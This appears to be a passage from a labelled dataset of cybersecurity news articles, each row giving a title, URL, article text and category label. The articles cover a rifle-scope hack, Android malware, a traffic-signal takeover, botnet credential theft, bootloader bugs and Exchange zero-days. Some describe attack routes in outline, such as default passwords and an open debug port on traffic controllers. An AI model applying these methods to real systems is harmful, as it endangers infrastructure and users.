Runa Sandvik and her husband Michael Auger are planning to present their findings on exploiting two of the $13,000 self-aiming rifles at the Black Hat hacking conference.

In the hack, the duo demonstrates how it is possible to:
Brick the rifle, making its computer-based targeting permanently unusable
Gain root access to the targeting system to make permanent changes to the firearm

Sandvik and Auger successfully broke into the Wi-Fi-connected rifle and disabled it and, even worse, changed the weapon's target.
Slight Limitations
However, there are two minor holdbacks:
A networked attack on the rifle can not make the weapon fire because the rifle pin is controlled by a mechanical system that actually requires a finger on the trigger.
There are only around 1,000 vulnerable rifles in customers' hands.

Thankfully TrackingPoint rifles are not designed to fire automatically.

You can also watch the video demonstration in which the researchers were able to dial in changes to the scope's targeting system so accurately that they could cause a Tracking Point TP750 sniper rifle's bullet to hit straight to their own bullseye instead of the original target.

""You can make it lie constantly to the user so they'll always miss their shot,"" Sandvik told Wired while demonstrating the attack.

Texas-based TrackingPoint is known for developing high-tech self-aiming rifles to improve shooters' productivity, helping even users with no experience avoid overshoots.

Founder John McHale said the company is collaborating with Sandvik and Auger to develop a software update to patch the vulnerability.

",Vulnerability
Most Sophisticated Android malware ever detected,https://thehackernews.com/2013/06/most-sophisticated-android-malware-ever.html,"A new piece of sophisticated Android malware has been discovered by security researchers at Kaspersky Labs. Dubbed as Backdoor.AndroidOS.Obad.a, it is the most sophisticated piece of Android malware ever seen.

It exploits multiple vulnerabilities, blocks uninstall attempts, attempts to gain root access, and can execute a host of remote commands. It include complex obfuscation techniques that complicated analysis of the code, and the use of a previously unknown vulnerability in Android that allowed it to take control of and maintain a foothold on infected Android devices.
There are two previously unknown Android vulnerabilities exploited by Obad. It can gain administrator privileges, making it virtually impossible for a user to delete it off a device.


Another flaw in the Android OS relates to the processing of the AndroidManifest.xml file. This file exists in every Android application and is used to describe the application's structure, define its launch parameters.

""The malware modifies AndroidManifest.xml in such a way that it does not comply with Google standards, but is still correctly processed on a Smartphone thanks to the exploitation of the identified vulnerability,"" said Kaspersky Lab Expert. ""All of this made it extremely difficult to run dynamic analysis on this Trojan.""

Like many modern malicious programs, Obad is modular, with the ability to receive software updates directly from C&C servers controlled by the attackers.

Obad Malware is very similar to the 'Android Malware Engine', that was developed and demonstrated by Mohit Kumar (Founder, The Hacker News) last year in Malcon Conference.

Android Malware Engine has the capability to exploit more than 100's of Android platform features with command and control server that also communicate with stealthy methods to execute various evil commands and to stealing user data. The Trojan doesn't even have an interface it works entirely in background mode.

Malware enhanced with features like:
Download a file from the server and install it
Act as proxy server, HTTP server, FTP server
Stealing, Sending, Deleting and Creating text message, contacts and Call Logs.
Turning off Wi-Fi, GPS, Bluetooth, Vibration
Ransomware
Remote Shell, and also installing the ssh server on the device
Extracting information of all list of applications and antiviruses installed
Stealing Whatsapp conversations
Forwarding messages and calls to malicious numbers
Controlling all infected devices as bots for sms and network ddos attack
Modifying permission model and randomizing classes for making it undetectable from behaviour and signature based antivirus.
Locating victims with Live GPS locations on world map.
The researchers at Kaspersky Labs say that the Trojan has fortunately not spread a lot and have also notified Google of the above vulnerabilities on their OS, which have been exploited by the Trojan.

Android's rapid gains in the mobile space have raised concerns that the mobile OS will become a target, as Microsoft's Windows was in the PC space.

",Vulnerability
Hacking Traffic Lights is Amazingly Really Easy,https://thehackernews.com/2014/08/hacking-traffic-lights-is-amazingly_20.html,"Hacking Internet of Things (IoTs) have become an amazing practice for cyber criminals out there, but messing with Traffic lights would be something more crazy for them.

The hacking scenes in hollywood movies has just been a source of entertainment for the technology industry, like we've seen traffic lights hacked in Die Hard and The Italian Job, but these movies always inspire hackers to perform similar hacking attacks in day-to-day life.

Security researchers at the University of Michigan have not only hacked traffic light signals in real life, but also claimed that it's actually shockingly easy to perform by anyone with a laptop and the right kind of radio. If we compare the traffic light hacks in movies and real life, the reality is much easier.

In a paper study published this month, the security researchers describe how a series of major security vulnerabilities in traffic light systems allowed them to very easily and very quickly seized control of the whole system of at least 100 traffic signals in an unnamed Michigan city from a single point of access.

Researchers took permission from a local road agency before performing the hack, but they did not disclose exactly where in Michigan they did their research.
‟Our attacks show that an adversary can control traffic infrastructure to cause disruption, degrade safety, or gain an unfair advantage,"" the paper explained.
SECURITY HOLES IN TRAFFIC LIGHT SYSTEMS
The team, led by University of Michigan computer scientist J. Alex Halderman, said that the networked traffic systems are left vulnerable to three major weaknesses:
unencrypted radio signals,
the use of factory-default usernames and passwords, and
a debugging port that is easy to attack
This left the network accessible to everyone from cyber criminals to young hackers.

""The vulnerabilities we discover in the infrastructure are not a fault of any one device or design choice, but rather show a systemic lack of security consciousness,"" the researchers report in a paper.
In an effort to save on installation costs and increase flexibility, the traffic light system makes use of wireless radio signals rather than dedicated physical networking links for its communication infrastructure - this hole was exploited by the researchers. Surprisingly, more than 40 states currently use such systems to keep traffic flowing as efficiently as possible.
""The safety critical nature of traffic infrastructure requires that it be secure against computer-based attacks, but this is not always the case,"" the team said. ""We investigate a networked traffic signal system currently deployed in the United States and discover a number of security flaws that exist due to systemic failures by the designers. We leveraged these flaws to create attacks which gain control of the system, and we successfully demonstrate them on the deployment.""
WIRELESS SECURITY IN QUESTIONS
The Traffic light systems use a combination of 5.8GHz and 900MHz radio signals, depending on the conditions at each intersection, for wireless communication in point-to-point or point-to-multipoint configurations. The 900MHz links use ""a proprietary protocol with frequency hopping spread-spectrum (FHSS),"" but the 5.8GHz version of the proprietary protocol isn't terribly different from 802.11n.

The researchers says that anyone with a laptop and a wireless card operating on the same frequency as the wirelessly networked traffic light — in this case, 5.8 gigahertz — could access the entire unencrypted network.

DEBUG PORT
Now, after gaining access, next was to communicate with one of the controllers in their target network. This was done very easily due to the fact that this system's the control boxes run VxWorks 5.5, a version which by default gets built from source with a debug port left accessible for testing.
""By sniffing packets sent between the controller and this program, we discovered that communication to the controller is not encrypted, requires no authentication, and is replayable. Using this information, we were then able to reverse engineer parts of the communication structure,"" the paper reads.
""Various command packets only differ in the last byte, allowing an attacker to easily determine remaining commands once one has been discovered. We created a program that allows a user to activate any button on the controller and then displays the results to the user. We also created a library of commands which enable scriptable attacks. We tested this code in the field and were able to access the controller remotely.""
This debug port allowed researchers to successfully turned all lights red or alter the timing of neighboring intersections — for example, to make sure someone hit all green lights on a given route.

More worrying part is the ability of a cyber criminal to perform denial-of-service (DoS) attack on controlled intersections by triggering each intersection's malfunction management unit by attempting invalid configurations, which would put the lights into a failure mode.

SOLUTION TO PROBLEM
At last, the team called for manufacturers and operators to improve the security of traffic infrastructure. It recommended that the traffic-system administrators should not use default usernames and passwords, as well as they should stop broadcasting communications unencrypted for ""casual observers and curious teenagers"" to see.
""While traffic control systems may be built to fail into a safe state, we have shown that they are not safe from attacks by a determined adversary,"" the paper concluded.
Moreover, they also warned that devices like voting machines and even connected cars could suffer similar attacks.

",Vulnerability
"Two Million stolen Facebook, Twitter login credentials found on 'Pony Botnet' Server",https://thehackernews.com/2013/12/two-million-stolen-facebook-twitter.html,"Security researchers at Trustwave's SpiderLabs found a Netherlands-based Pony Botnet Controller Server with almost two Million usernames and passwords, stolen by cybercriminals from users of Facebook, Twitter, Google, Yahoo and other websites.

In a blog post, the researchers mentioned that after the Pony Version 1.9 Source code was made public and they found a way to get into the Botnet's Admin area, from where they collected stolen database and statistics.

The Pony Control panel, written in Russian language, indicated Facebook was the worst impacted and two Russian Social Media sites i.e. vk.com and odnoklassniki.ru, credentials were also included in the database.

It is not clear at this time that how exactly the login credentials were originally obtained, but one possibility is that, they were captured using some keyloggers or similar malware.

Statistics of stolen login credentials:
1,580,000 website login credentials stolen (including 318,121 Facebook login credentials, 21,708 Twitter accounts, 54,437 Google-based accounts and 59,549 Yahoo accounts)
320,000 email account credentials stolen
41,000 FTP account credentials stolen
3,000 Remote Desktop credentials stolen
3,000 Secure Shell account credentials stolen
'A quick glance at the Geo-location statistics above would make one think that this attack was a targeted attack on the Netherlands.' researcher wrote. .. followed by Thailand, Germany, Singapore, and Indonesia. The United States accounted for less than 2,000 stolen credentials.
Spider Labs also listed the most commonly used passwords:
123456 - used for 15,820 accounts
123456789 - used for 4,875 accounts
1234 - used for 3,135 accounts
password - used for 2,212 accounts
12345 - used for 2,094 accounts
Obviously a bad idea to keep such weak password. Your passwords are the keys to your computer and your private information. Don't give out your passwords, make sure they are not easy to guess.

To defend your system against such malware issues, keep your computer and browser up-to-date and virus-free and make sure that you have Facebook's Login Notifications and Google's 2-step verification option enabled.

LinkedIn and Facebook said they were aware of the issue and looking into it.

",Malware
Mobile Bootloaders From Top Manufacturers Found Vulnerable to Persistent Threats,https://thehackernews.com/2017/09/hacking-android-bootloader-unlock.html,"Security researchers have discovered several severe zero-day vulnerabilities in the mobile bootloaders from at least four popular device manufacturers that could allow an attacker to gain persistent root access on the device.

A team of nine security researchers from the University of California Santa Barbara created a special static binary tool called BootStomp that automatically detects security vulnerabilities in bootloaders.

Since bootloaders are usually closed source and hard to reverse-engineer, performing analysis on them is difficult, especially because hardware dependencies hinder dynamic analysis.

Therefore, the researchers created BootStomp, which ""uses a novel combination of static analysis techniques and underconstrained symbolic execution to build a multi-tag taint analysis capable of identifying bootloader vulnerabilities.""

The tool helped the researchers discover six previously-unknown critical security bugs across bootloaders from HiSilicon (Huawei), Qualcomm, MediaTek, and NVIDIA, which could be exploited by attackers to unlock device bootloader, install custom malicious ROM and persistent rootkits.

Five of the vulnerabilities have already been confirmed by their respective by the chipset vendors. Researchers also found a known bug (CVE-2014-9798) in Qualcomm's bootloaders, which was previously reported in 2014, but still present and usable.
In a research paper [PDF], titled ""BootStomp: On the Security of Bootloaders in Mobile Devices,"" presented at the USENIX conference in Vancouver, the researchers explain that some of the discovered flaws even allow an attacker with root privileges on the Android operating system to execute malicious code as part of the bootloader or to perform permanent denial-of-service attacks.

According to the researchers, the vulnerabilities impact the ARM's ""Trusted Boot"" or Android's ""Verified Boot"" mechanisms that chip-set vendors have implemented to establish a Chain of Trust (CoT), which verifies the integrity of each component the system loads while booting the device.

Overview: Discovered Bootloader Vulnerabilities

The researchers tested five different bootloader implementations in Huawei P8 ALE-L23 (Huawei / HiSilicon chipset), Nexus 9 (NVIDIA Tegra chipset), Sony Xperia XA (MediaTek chipset) and two versions of the LK-based bootloader, developed by Qualcomm.

The researcher discovered five critical vulnerabilities in the Huawei Android bootloader:
An arbitrary memory write or denial of service (DoS) issue when parsing Linux Kernel's DeviceTree (DTB) stored in the boot partition.
A heap buffer overflow issue when reading the root-writable oem_info partition.
A root user's ability to write the nve and oem_info partitions, from which configuration data and memory access permissions governing the smartphone's peripherals can be read.
A memory corruption issue that could allow an attacker to install a persistent rootkit.
An arbitrary memory write bug that lets an attacker run arbitrary code as the bootloader itself.
Another flaw was discovered in NVIDIA's hboot, which operates at EL1, meaning that it has equivalent privilege on the hardware as the Linux kernel, which once compromised, can lead to an attacker gaining persistence.

The researchers also discovered a known, already patched vulnerability (CVE-2014-9798) in old versions of Qualcomm's bootloader that could be exploited to cause a denial of service situation.

The researchers reported all the vulnerabilities to the affected vendors. Huawei confirmed all the five vulnerabilities and NVIDIA is working with the researchers on a fix.

The team of researchers has also proposed a series of mitigations to both limit the attack surface of the bootloader as well as enforce various desirable properties aimed at safeguarding the security and privacy of users.

",Vulnerability
URGENT — 4 Actively Exploited 0-Day Flaws Found in Microsoft Exchange,https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html,"Microsoft has released emergency patches to address four previously undisclosed security flaws in Exchange Server that it says are being actively exploited by a new Chinese state-sponsored threat actor with the goal of perpetrating data theft.
Describing the attacks as ""limited and targeted,"" Microsoft Threat Intelligence Center (MSTIC) said the adversary used these vulnerabilities to access on-premises Exchange servers, in turn granting access to email accounts and paving the way for the installation of additional malware to facilitate long-term access to victim environments.
The tech giant primarily attributed the campaign with high confidence to a threat actor it calls HAFNIUM, a state-sponsored hacker collective operating out of China, although it suspects other groups may also be involved.
Discussing the tactics, techniques, and procedures (TTPs) of the group for the first time, Microsoft paints HAFNIUM as a ""highly skilled and sophisticated actor"" that mainly singles out entities in the U.S. for exfiltrating sensitive information from an array of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks and NGOs.
HAFNIUM is believed to orchestrate its attacks by leveraging leased virtual private servers in the U.S. in an attempt to cloak its malicious activity.
The three-stage attack involves gaining access to an Exchange Server either with stolen passwords or by using previously undiscovered vulnerabilities, followed by deploying a web shell to control the compromised server remotely. The last link in the attack chain makes use of remote access to plunder mailboxes from an organization's network and export the collected data to file sharing sites like MEGA.
To achieve this, as many as four zero-day vulnerabilities discovered by researchers from Volexity and Dubex are used as part of the attack chain —
CVE-2021-26855: A server-side request forgery (SSRF) vulnerability in Exchange Server
CVE-2021-26857: An insecure deserialization vulnerability in the Unified Messaging service
CVE-2021-26858: A post-authentication arbitrary file write vulnerability in Exchange, and
CVE-2021-27065: A post-authentication arbitrary file write vulnerability in Exchange
Although the vulnerabilities impact Microsoft Exchange Server 2013, Microsoft Exchange Server 2016, and Microsoft Exchange Server 2019, Microsoft said it's updating Exchange Server 2010 for ""Defense in Depth"" purposes.
Furthermore, since the initial attack requires an untrusted connection to Exchange server port 443, the company notes that organizations can mitigate the issue by restricting untrusted connections or by using a VPN to separate the Exchange server from external access.
Microsoft, besides stressing that the exploits were not connected to the SolarWinds-related breaches, said it has briefed appropriate U.S. government agencies about the new wave of attacks. But the company didn't elaborate on how many organizations were targeted and whether the attacks were successful.
Stating that the intrusion campaigns appeared to have started around January 6, 2021, Volexity cautioned it has detected active in-the-wild exploitation of multiple Microsoft Exchange vulnerabilities used to steal email and compromise networks.
""While the attackers appear to have initially flown largely under the radar by simply stealing emails, they recently pivoted to launching exploits to gain a foothold,"" Volexity researchers Josh Grunzweig, Matthew Meltzer, Sean Koessel, Steven Adair, and Thomas Lancaster explained in a write-up.
""From Volexity's perspective, this exploitation appears to involve multiple operators using a wide variety of tools and methods for dumping credentials, moving laterally, and further backdooring systems.""
Aside from the patches, Microsoft Senior Threat Intelligence Analyst Kevin Beaumont has also created a nmap plugin that can be used to scan a network for potentially vulnerable Microsoft Exchange servers.
Given the severity of the flaws, it's no surprise that patches have been rolled out a week ahead of the company's Patch Tuesday schedule, which is typically reserved for the second Tuesday of each month. Customers using a vulnerable version of Exchange Server are recommended to install the updates immediately to thwart these attacks.
""Even though we've worked quickly to deploy an update for the Hafnium exploits, we know that many nation-state actors and criminal groups will move quickly to take advantage of any unpatched systems,"" Microsoft's Corporate Vice President of Customer Security, Tom Burt, said. ""Promptly applying today's patches is the best protection against this attack.

",Vulnerability
Microsoft issues Emergency Fix for Internet Explorer zero-day exploit,https://thehackernews.com/2013/09/microsoft-issues-emergency-fix-for_18.html,"All supported versions of Internet Explorer are vulnerable to a zero-day Exploit that is currently being exploited in targeted attacks against IE 8 and IE 9, dubbed ""CVE-2013-3893 MSHTML Shim Workaround"".

Microsoft confirmed that the flaw was unknown before the attacks and that it is already working on an official patch, meantime Microsoft released an emergency software fix for Internet Explorer (IE) Web browser.

Advisory noted that Microsoft is investigating public reports of a remote code execution vulnerability in Internet Explorer.

This issue could allow remote code execution if an affected system browses to a website containing malicious content directed towards the specific browser type. Victims could be infected despite the adoption of all necessary countermeasures due the nature of the flaw previously unknown.

The flaw that has been recently targeted by hackers during attacks is considerable serious and complicated to fix. State-sponsored hacking groups are often willing to pay hundreds of thousands of dollars for zero-day vulnerabilities in widely used software such as Internet Explorer.

In the specific case if the attacker successfully exploited the zero-day vulnerability could gain the same user rights as the current user, due this reason MS confirmed that whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.

Microsoft's advisory also says that EMET (the Enhanced Mitigation Experience Toolkit) may be used to mitigate against the vulnerability.

",Vulnerability
Facebook and Cambridge Analytica – What's Happened So Far,https://thehackernews.com/2018/03/facebook-cambridge-analytica.html,"Top Story— Facebook has just lost over $60 billion in market value over the past two days—that's more than Tesla's entire market capitalisation and almost three times that of Snapchat.

Facebook shares plunge over revelations that personal data of 50 million users was obtained and misused by British data analytics firm 'Cambridge Analytica,' who reportedly helped Donald Trump win the US presidency in 2016.

The privacy scandal that rocked the social media giant was revealed earlier this week when Chris Wylie, the 28-year-old data scientist who worked with a Cambridge University academic, turned into a whistleblower and leaked to the newspapers how poorly Facebook handles people's private information.

Wylie claims Cambridge Analytica created ""Steve Bannon's psychological warfare mindf**k tool"" that profiles citizens to predict their voting patterns based on the personal information gathered from a variety of sources and then helps political parties target voters with tailored advertisements and messages.

Since lots of things have happened since last week, we have compiled this brief article to explain what has happened so far in ""Facebook and Cambridge Analytica"" saga and how it keeps growing.

How Cambridge Analytica Collected 50 Million Facebook Users' Data

The story started four years ago when Cambridge psychologist Aleksandr Kogan approached researcher Michal Kosinski to get Facebook users data, which he had collected using a simple 'online personality quiz' app that requires users to log in using Facebook to participate.

While Kosinski refused to provide any data his app was used to collect, Cambridge paid Kogan over $800,000 to create a similar quiz app for him with an aim to collect Facebook users' profile data, including the list of pages they have ""liked.""

Kogan's personality quiz app, dubbed ""thisisyourdigitallife,"" was a hit. Although it attracted 270,000 Facebook users to take part, Facebook's APIs at the time let the app also collect a wide range of information about each authorized user's friends.

Since an average Facebook user has hundreds of friends in his/her friend-list, Kogan was able to leverage his user base of 270,000 people to collect data for about 50 million Facebook users for use in its ad-targeting work.

Stop Third-Party Apps From Using Your Facebook Data

Not only Cambridge Analytica's quiz app, there are other thousands of other apps that you might have encountered on your Facebook timeline—such as ""how you'll look in your 80s,"" ""which celebrity you look like,"" ""who'll be your Valentine this year""—that work on the same model.

All Facebook apps offer access using their Facebook account and ask you to grant the app's developer a range of information from your Facebook profile, like your name, location, email, and friends list.

Besides this, 'Login with Facebook' option that you might have seen on hundreds of thousands of websites works similarly by allowing site admins to offer one-click login/signup for easy to verify your identity.

It would be a good time now to revisit those third-party apps you have granted permission to access your Facebook data and completely revoke them if you don't want them to use your data and limit an app's permissions without entirely revoking it.

To disable such apps from accessing your data, you can follow these steps:

On the desktop computer, click the downward arrow in the top-right corner and select Settings and Apps from the menu. Here you'll see all the apps where you have logged into Facebook.

On mobile devices, open the menu(bottom-right for iOS, top-right for Android), and then select Settings → Account Settings → Apps → Logged in with Facebook.

For entirely revoking any app, just tap on the remove button (cross icon) next to that app. You can also limit any app's permission by clicking the edit button (pencil icon), next to the cross icon, to view each app's settings.

From here, you can revoke specific permissions by de-selecting the checkmark next to each data point.

Facebook Founder Mark Zuckerberg Apologizes For the Cambridge Analytica Scandal

Today in an interview with CNN's Laurie Segall, Facebook founder Mark Zuckerberg apologized for the social media giant's failure to prevent privacy of its users.
""This was a major breach of trust, and I'm really sorry this happened,"" Zuckerberg told Laurie.
While addressing the Cambridge Analytica scandal, Zuckerberg acknowledged that it was a huge mistake to allow third-party developers to access users' data and blindly trust that Cambridge Analytica and other companies involved in data harvesting would actually delete that data just because Facebook has asked them to.
""That ... is probably the biggest mistake that we made here,""
Zuckerberg pledged to solve all the problems and safeguard users' privacy, explaining how the company has already changed its policies after 2014 to prevent abuse of Facebook's APIs.

""Our responsibility now is to make sure this doesn't happen again,"" Zuck assured its customers and shareholders across the world who are furious after knowing about the Cambridge Analytica scandal.

During the interview, Zuckerberg promised to conduct a ""full forensic audit"" of the platform very soon to find which 3rd-party apps may have gained access to user data without their full consent and would notify everyone whose data was improperly used.

Mark Zuckerberg Says It's Time to Regulate Tech Firms

Some analysts believe that stricter government regulations are required to protect consumers' privacy over social media companies.

Since social media is playing an essential role in the world, Zuckerberg says he believes it's time to impose more regulations on technology companies, but he also recommends Artificial Intelligence as a better tool to regulate such a rapidly growing community of 2 billion people all over the world

Besides this, Facebook has also planned to have more than 20,000 employees to closely monitor security and privacy operations by the end of this year.

Facebook Faces International Investigation Over Personal Data Use

Facebook is in trouble with governments across the world after this whole Cambridge Analytica mess.

Following reports of the transfer of personal information of over 50 million users from Facebook to data-mining firm Cambridge Analytica, Facebook is facing probes by some countries including the United States, European Union, UK, Israel, India, and Canada.

The United States' Federal Trade Commission (FTC) has started investigating whether or not the use of personal data from over 50 million users by Cambridge Analytica violated a consent decree Facebook signed with the agency in 2011.

The European Commission has also asked data protection authorities to investigate Facebook's data leak to Cambridge Analytica, and if the commission finds Facebook in breach of data protection laws, it could levy fines on the company.

The social networking site is also facing a separate probe by the U.K. government, who is pursuing a warrant to conduct its on-site investigation to determine whether Cambridge Analytica still has the information, which the company said has been deleted.

Israeli Justice Ministry has also informed Facebook that it is opening an ""administrative investigation"" into Facebook ""and the possibility of additional violations of Israelis' personal information,"" the ministry said Thursday.

Cambridge Analytica CEO Suspended After Undercover Recordings Released

Cambridge Analytica has suspended its CEO from the research firm's board of directors on Tuesday following an undercover video was aired which showed him discussing the use of bribes and prostitutes to sway political elections.

The board said that Alexander Nix would be suspended pending a ""full, independent investigation,"" adding that ""In the view of the Board, Mr. Nix's recent comments secretly recorded by Channel 4 and other allegations do not represent the values or operations of the firm and his suspension reflects the seriousness with which we view this violation.""

In an uncover video published by Channel 4 News in London on Monday, Nix found discussing how his firm is engaged in dirty tricks for political clients, like recording videos of operatives offering their opponents bribes.

Nix also told a journalist, who posed as a potential Sri Lankan client, that his firm could also send ""some girls around to the candidate's house"" to put the candidate in a compromising position.

However, Cambridge has denied engaging in any of such tactics Nix described in the video.

Cambridge Analytica mess has become one of the biggest scandals in tech right now, and it is becoming messier with each passing day, which could have enormous implications not only for Facebook but for every other online company out there that sells user data for a living.

Facebook shares continued falling and dropped today by 2.66% to $164.89 as of the time of this writing.

",Data_Breaches
New QNAP NAS Flaws Exploited In Recent Ransomware Attacks - Patch It!,https://thehackernews.com/2021/04/new-qnap-nas-flaws-exploited-in-recent.html,"A new ransomware strain called ""Qlocker"" is targeting QNAP network attached storage (NAS) devices as part of an ongoing campaign and encrypting files in password-protected 7zip archives.
First reports of the infections emerged on April 20, with the adversaries behind the operations demanding a bitcoin payment (0.01 bitcoins or about $500.57) to receive the decryption key.
In response to the ongoing attacks, the Taiwanese company has released an advisory prompting users to apply updates to QNAP NAS running Multimedia Console, Media Streaming Add-on, and HBS 3 Hybrid Backup Sync to secure the devices from any attacks.
""QNAP strongly urges that all users immediately install the latest Malware Remover version and run a malware scan on QNAP NAS,"" the company said. ""The Multimedia Console, Media Streaming Add-on, and Hybrid Backup Sync apps need to be updated to the latest available version as well to further secure QNAP NAS from ransomware attacks.""
Patches for the three apps were released by QNAP over the last week. CVE-2020-36195 concerns an SQL injection vulnerability in QNAP NAS running Multimedia Console or Media Streaming Add-on, successful exploitation of which could result in information disclosure. On the other hand, CVE-2021-28799 relates to an improper authorization vulnerability affecting QNAP NAS running HBS 3 Hybrid Backup Sync that could be exploited by an attacker to log in to a device.
But it appears that Qlocker is not the only strain that's being used to encrypt NAS devices, what with threat actors deploying another ransomware named ""eCh0raix"" to lock sensitive data. Since its debut in July 2019, the eCh0raix gang is known for going after QNAP storage appliances by leveraging known vulnerabilities or carrying out brute-force attacks.
QNAP is also urging users to the latest version of Malware Remover to perform a scan as a safety measure while it's actively working on a solution to remove malware from infected devices.
""Users are advised to modify the default network port 8080 for accessing the NAS operating interface,"" the company recommended, adding ""the data stored on NAS should be backed up or backed up again utilizing the 3-2-1 backup rule, to further ensure data integrity and security.""

",Malware
"Apple's New MacBook Disconnects Microphone ""Physically"" When Lid is Closed",https://thehackernews.com/2018/10/apple-macbook-microphone.html,"Apple introduces a new privacy feature for all new MacBooks that ""at some extent"" will prevent hackers and malicious applications from eavesdropping on your conversations.

Apple's custom T2 security chip in the latest MacBooks includes a new hardware feature that physically disconnects the MacBook's built-in microphone whenever the user closes the lid, the company revealed yesterday at its event at the Brooklyn Academy of Music in New York.

Though the new T2 chip is already present in the 2018 MacBook Pro models launched earlier this year, this new feature got unveiled when Apple launched the new Retina MacBook Air and published a full security guide for T2 Chip yesterday.

""This disconnect is implemented in hardware alone, and therefore prevents any software, even with root or kernel privileges in macOS, and even the software on the T2 chip, from engaging the microphone when the lid is closed,"" Apple explained in the guide [PDF].

The tech giant further added that ""the camera is not disconnected in hardware because its field of view is completely obstructed with the lid closed.""

Is It Helpful? Not Much

This feature is excellent as it makes impossible for malware to access your built-in microphone when the lid is closed, but honestly, it doesn't help when you are most vulnerable, i.e. while working.

Mac users will be still prone to malware, like the infamous FruitFly malware, that can secretly turn on your MacBook camera and microphone to record video and audio when your laptop lid is not closed.

In my opinion, such physical hardware disconnect feature would be more helpful if manufacturers could offer a manual switch using which users can turn on or off their device's microphone or camera, whenever required.

More About Apple T2 Security Chip

Anyway, besides this, Apple's T2 chip also offers other security features that are impressive like including the Secure Enclave coprocessor that protects your MacBook's encryption keys, fingerprint data, and secure boot features.

Along with the security and convenience of Touch ID, MacBooks with the T2 chip provide ""a level of privacy and security protections never before seen on Mac,"" according to Apple.

The T2 chip offers some non-security features as well, like an image signal processor that enables enhanced tone mapping, controls the ambient sensor, the system management controller (SMC), white balancing to the FaceTime HD camera, Apple video encoder, audio controller, and enables ""Hey Siri.""
",Malware
Hackers can steal Windows Phone passwords using Wi-Fi vulnerability,https://thehackernews.com/2013/08/hacking-windows-phone-wifi-tool-download.html,"Microsoft has warned that a vulnerability in Windows Phone operating systems could allow hackers to access your login credentials.

The vulnerability resides in a Wi-Fi authentication scheme known as PEAP-MS-CHAPv2, which Windows Phones use to access wireless networks protected by version 2 of the Wi-Fi Protected Access protocol.
Cryptographic weaknesses in the technology can allow attackers to gain access to users encrypted domain credentials. These credentials could potentially give the attackers access to sensitive corporate networks.

The bulletin, advisory 2876146, says:
To exploit this issue, an attacker controlled system could pose as a known Wi-Fi access point, causing the targeted device to automatically attempt to authenticate with the access point, and in turn allowing the attacker to intercept the victim's encrypted domain credentials. An attacker could then exploit cryptographic weaknesses in the PEAP-MS-CHAPv2 protocol to obtain the victim's domain credentials. Those credentials could then be re-used to authenticate the attacker to network resources, and the attacker could take any action that the user could take on that network resource.

Microsoft does not intend to patch this vulnerability. Microsoft has not received any reports of this vulnerability being used to steal corporate data, passwords or breach a network to date. Rather, it simply advises users of Windows phones to require a certificate before joining wireless networks, and includes instructions for enforcing this in the phone settings.

",Vulnerability
Security Flaw Left Major Banking Apps Vulnerable to MiTM Attacks Over SSL,https://thehackernews.com/2017/12/mitm-ssl-pinning-hostname.html,"A team of security researchers has discovered a critical implementation flaw in major mobile banking applications that left banking credentials of millions of users vulnerable to hackers.

The vulnerability was discovered by researchers of the Security and Privacy Group at the University of Birmingham, who tested hundreds of different banking apps—both iOS and Android—and found that several of them were affected by a common issue, leaving their users vulnerable to man-in-the-middle attacks.

The affected banking apps include HSBC, NatWest, Co-op, Santander, and Allied Irish bank, which have now been updated after researchers reported them of the issue.

According to a research paper [PDF] published by researchers, vulnerable applications could have allowed an attacker, connected to the same network as the victim, to intercept SSL connection and retrieve the user's banking credentials, like usernames and passwords/pincodes—even if the apps are using SSL pinning feature.

SSL pinning is a security feature that prevents man-in-the-middle (MITM) attacks by enabling an additional layer of trust between the listed hosts and devices.

When implemented, SSL pinning helps to neutralize network-based attacks wherein attackers could attempt to use valid certificates issued by rogue certification authorities.
""If a single CA acted maliciously or were compromised, which has happened before, valid certificates for any domain could be generated allowing an attacker to Man-in-the-Middle all apps trusting that CA certificate,"" the researchers wrote in their paper.
However, there are two key parts to verify an SSL connection—the first (authentication) is to verify whether the certificate is from a trusted source and the second (authorization) is to make sure the server you are connecting to presents the right certificate.

Researchers found that due to lack of hostname verification, several banking applications were not checking if they connected to a trusted source.

Verifying a hostname ensures the hostname in the URL to which the banking app connects matches the hostname in the digital certificate that the server sends back as part of the SSL connection.
""TLS misconfiguration vulnerabilities are clearly common; however none of the existing frameworks will detect that a client pins a root or intermediate certificate, but fails to check the hostname in the leaf,"" the paper reads.
Besides this issue, the researchers also detailed an ""in-app phishing attack"" affecting Santander and Allied Irish Banks, which could have allowed attackers to hijack part of the victim's screen while the app was running and use it to phish for the victim's login credentials.

To test this vulnerability in hundreds of banking apps quickly and without requiring to purchase certificates, researchers created a new automated tool, dubbed Spinner.
Spinner leverages Censys IoT search engine for finding certificate chains for alternate hosts that only differ in the leaf certificate.
""Given the certificate for a target domain, the tool queries for certificate chains for alternate hosts that only differ in the leaf certificate. The tool then redirects the traffic from the app under test to a website which has a certificate signed by the same CA certificate, but of course a different hostname (Common Name),"" the researchers explain.
""If the connection fails during the establishment phase then we know the app detected the wrong hostname. Whereas, if the connection is established and encrypted application data is transferred by the client before the connection fails then we know the app has accepted the hostname and is vulnerable.""
The trio, Chris McMahon Stone, Tom Chothia, and Flavio D. Garcia, worked with the National Cyber Security Centre (NCSC) to notify all affected banks, which then resolved the issues before they publicly disclosed their research this week.

",Vulnerability
FBI Mapping 'Joanap Malware' Victims to Disrupt the North Korean Botnet,https://thehackernews.com/2019/01/north-korea-hacker.html,"The United States Department of Justice (DoJ) announced Wednesday its effort to ""map and further disrupt"" a botnet tied to North Korea that has infected numerous Microsoft Windows computers across the globe over the last decade.

Dubbed Joanap, the botnet is believed to be part of ""Hidden Cobra""—an Advanced Persistent Threat (APT) actors' group often known as Lazarus Group and Guardians of Peace and backed by the North Korean government.

Hidden Cobra is the same hacking group that has been allegedly associated with the WannaCry ransomware menace in 2016, the SWIFT Banking attack in 2016, as well as Sony Motion Pictures hack in 2014.

Dates back to 2009, Joanap is a remote access tool (RAT) that lands on a victim's system with the help an SMB worm called Brambul, which crawls from one computer to another by brute-forcing Windows Server Message Block (SMB) file-sharing services using a list of common passwords.

Once there, Brambul downloads Joanap on the infected Windows computers, effectively opening a backdoor for its masterminds and giving them remote control of the network of infected Windows computers.

If You Want to Beat Them, Then First Join Them

Interestingly, the computers infected by Joanap botnet don't take commands from a centralized command-and-control server; instead it relies on peer-to-peer (P2P) communications infrastructure, making every infected computer a part of its command and control system.

